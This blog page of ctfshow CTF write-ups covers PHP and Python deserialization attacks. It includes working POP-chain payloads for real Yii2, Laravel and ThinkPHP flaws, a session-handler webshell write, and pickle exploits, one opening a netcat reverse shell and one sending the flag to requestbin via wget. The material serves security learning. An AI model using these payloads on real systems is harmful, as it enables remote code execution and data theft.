随笔分类 - PHP常识
PHP中的魔术变量:
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
序列化对象:
private变量会被序列化为:\x00类名\x00变量名 protected变量会被序列化为: \x00\*\x00变量名 public变量会被序列化为:变量名
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这好像并没有体现出来反序列化,而是简单帮忙了解了一下类,函数的调用,倒是更像代码审计了
payload:
?username=xxxxxx&password=xxxxxx
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
反序列化的点在cookie的user中,我们需要让$isVip=true
class ctfShowUser{
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//运行结果
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
payload:
?username=xxxxxx&password=xxxxxx
Cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}
记得url编码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){//此处多了一个限制需要修改二者其一
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
class ctfShowUser{
public $username='yn8rt';
public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//运行结果
O:11:"ctfShowUser":2:{s:8:"username";s:5:"yn8rt";s:5:"isVip";b:1;}
//url编码处理后:
O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22yn8rt%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
payload:
?username=yn8rt&password=xxxxxxCookie:user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22yn8rt%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
error_reporting(0);highlight_file(__FILE__);class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; }}class backDoor{ private $code; public function getInfo(){ eval($this->code); }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password);}
此题关键之处在于__destruct()在销毁对象时会自动调用getInfo()方法,而这时候的getInfo()方法有两个,一个在类info中。一个在backDoor中,我们需要的是利用反序列来将后者的被调用,也就是我们实例化的对象需要的是backDoor的属性所以需要将$this->class指向backDoor
phpclass ctfShowUser{ private $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code='system("cat f*");';}$a = serialize(new ctfShowUser());echo urlencode($a);?>//运行结果O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"backDoorcode";s:17:"system("cat f*");";}}
payload:
?username=yn8rt&password=666Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
多了一个正则表达式:/[oc]:\d+:/i
。意思是过滤这两种情况:o:数字:
与c:数字:
这种情况是用+(加号)
绕过的,如:o:+
构造:
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);
?>
//运行结果
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
//URL处理
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
payload:
?username=yn8rt&password=666
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
这跨度有点大
从一道题学习SoapClient与CRLF组合拳
新浪某站CRLF Injection导致的安全问题
SoapClient反序列化SSRF
php中的内置类
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
每个版本内置类的数量是不一样的,所以没有找到SoapClient __call
方法但是按照道理来说,其应该是确实存在的!
题目
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
提示:flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
因为是php不是python想要连接web service就不能简单的像python导入个requests包就可以了,在php中是需要利用soapclient来请求的!
php soapclient的使用
payload:
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>
//运行结果
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
在这到题目中$vip = unserialize($_GET['vip']);
也就就是$vip = new SoapClient(n...,...)
,而当$vip->getFlag();
时,也就是调用一个不存在的方法是,便将调用call魔术方法,也就是会调用SoapClient类的构造方法。
然后直接传参就可以了,然后访问flag.txt即可,题目非常好
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
class ctf{
public $c = 'ctfshow_i_love_36D';
}
$a = serialize(new ctf());
echo urlencode($a);
?>
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){ //将在反序列化之后立即调用
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){ //当尝试以调用函数的方式调用一个对象时
eval($this->code);
}
public function __sleep(){ //在对象被序列化之前运行
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以了。
只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
payload:
class ctfshowvip{
public $username;
public $password='';
public $code='';
public function __construct(){
$this->username='877.php';
$this->password='';
}
}
echo serialize(new ctfshowvip());
?>
//O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";s:4:"code";s:0:"";}
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
打开message.php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
传入的点在cookie的msg组
我们需要的样子:
class message{
public $from='1';
public $msg='2';
public $to='3';
public $token='admin';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}
但是,在construct中是没有token的初始化的,而又不存在对象注入,所以只能利用字符串的缩短来实现替换token的值,可以看出来与上面相比是少了一个字符的,但是我们想要的效果是:
将s:5:"token";s:5:"admin";}插入到
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}中
<?php
class message{
public $from='1';
public $msg='2';
public $to='3";s:5:"token";s:5:"admin";}';//多了27个字符
public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
这样就欺骗的天衣无缝了
通过这样的方式来实现欺骗,但是插入的部分
但是整条语句是存在逻辑问题的:
在s:28:"3";
这个地方,正常逻辑是3只有一个字符,但是却被标注为28个,那么在反序列化的时候,就会出现报错,但是此题在反序列化之前会对msg的参数进行替换操作,会将4个字符的fuck替换5个关字符的loveu,这样的话本来缺少的27个字符,就会被经过增加替换而多出来的27个字符顶替,正好满足136=109(love)+27(u),而后面的27个字符也就顺理成章的替换了后面的token
class message{
public $from='1';
public $msg='2';
public $to='3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';//此处有27个fuck=109+27=136
public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
payload:
?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php就可以得到flag
www.zip文件泄露,其中的inc.php文件存在file_put_contents危险函数:
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
?>
$this->username,$this->password
均为我们可控,所以存在漏洞
[代码审计]PHP中session的存储方式(WP)
index.php:
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));//
$_SESSION['limit']= 1;
}
?>
这也就是一开始的登陆页面
**check.php:**针对cookie中的limit进行次数检测
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种:
因为此php版本为7.3.11,并且设置为php处理器而不是php_serialize处理器,所以存在session反序列漏洞
深入浅析PHP的session反序列化漏洞问题看完就明白了
在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
name|s:6:"spoock";
暂时用到的是这两个
exp:
class User{
public $username="admin/../../../../../../../../../../var/www/html/1.php";
public $password="";
public $status;
}
$a = new User();
$c = "|".serialize($a);
echo urlencode(base64_encode($c));
解题步骤:
1.首先访问首页,获得 cookie,同时建立 session
2.通过cookie manager将cookie中的limit修改为序列化字符串
3.访问 check.php,反序列化实现 shell 写入
4.访问1.php审查元素查看flag
payload:
?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
访问message.php时需要设置session,在cookie中添加msg,value任意
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());//生成随机数
if($ctfshow->login()){
echo $flag;
}
引用:
class abc{
public $a = '1';
public $b = '2';
}
$c = new abc();
$c->a =&$c->b;
$c->a = '1';//此时哪怕修改a的值也不管用
$c->b = md5(mt_rand());
print_r($c->a);
?>
//运行结果
cc459dba9ce1830f72c80ba14532bbac
这波儿就叫引用传值
payload:
class ctfshowAdmin{
public $token=1;
public $password=1;
}
$a = new ctfshowAdmin();
$a->password=&$a->token;//让passwd的值随token变
echo serialize($a);
//运行结果
O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了
,所以得绕过这个正则。
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
payload:
class Ctfshow{};
$a = new Ctfshow();
echo serialize($a);
?>
//O:7:"Ctfshow":0:{}
Yii2 反序列化漏洞(CVE-2020-15148)复现
影响范围:
Yii2 <2.0.38
admin/admin弱口令进入管理员账户,在about页面查看源代码会发现
访问?r=site%2Fabout&view-source
得到:
///backdoor/shell
unserialize(base64_decode($_GET['code']))
现成poc:
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec'; //PHP函数
$this->id = 'cat /flag >2.txt'; //PHP函数的参数
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
根目录访问2.txt得到flag
做法一样但是需要修改poc,因为存在过滤
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}
payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
Laravel5.7反序列化RCE漏洞分析
空格被过滤注意修改最后的payload
搬砖poc
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cp /f* 1.txt')); //此处执行命令
echo urlencode(serialize($pendingcommand));
}
搬砖poc
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code=""; //此处是PHP代码
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
Thinkphp5.1 反序列化漏洞复现
搬砖
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
使用方法:
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);//此处可以用分号来截断
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){//防止该题利用文件上传做
file_put_contents($_GET['fn'], $content);//写入操作
copy($_GET['fn'],md5(mt_rand()).'.txt');//将文件进行改名操作
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除当前目录下由你编辑的文件
echo 'work done';
}
}else{
echo 'where is flag?';
}
令filename=1.php;cat f*
payload:
?fn=php%3bcat flag.php
未成功
[一篇文章带你理解漏洞之 Python 反序列化漏洞](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之Python 反序列化漏洞/)
有vps但是不会虚拟目录映射到端口所以放弃这个方法:
import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
return (os.popen,('nc ***.***.***.*** 39543 -e /bin/sh',))#此处需要nc VPS的IP...
a=exp()
s=pickle.dumps(a)
url="http://2ecec748-b3b0-4285-8e82-3531e90c2679.chall.ctf.show:8080/backdoor"
params={
'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)
利用equestbin这个网站https://requestbin.net/
,选择Create a RequestBin
获取一个地址
poc如下:通过wget方式,将flag放在URL中
#!/usr/bin/env python
import os
import pickle
import base64
class RunCmd(object):
def __reduce__(self):
return (os.system, ('wget http://requestbin.net/r/duwbu270?a=`cat fla*`',))
print(base64.b64encode(pickle.dumps(RunCmd())))
# m=base64.b64decode(base64.b64encode(pickle.dumps(RunCmd())))
# m=pickle.loads(m)
初探phar://
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
为什么需要用phar文件,因为没有反序列化的点,你就无法让admin的值为true,而这里正好存在file_put_contents
函数就可以用phar://
来尝试一下写入文件
生成yn.phar文件:
class filter{
public $filename="1.txt;cat f*;";
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$a=new filter();
$phar = new Phar("yn.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
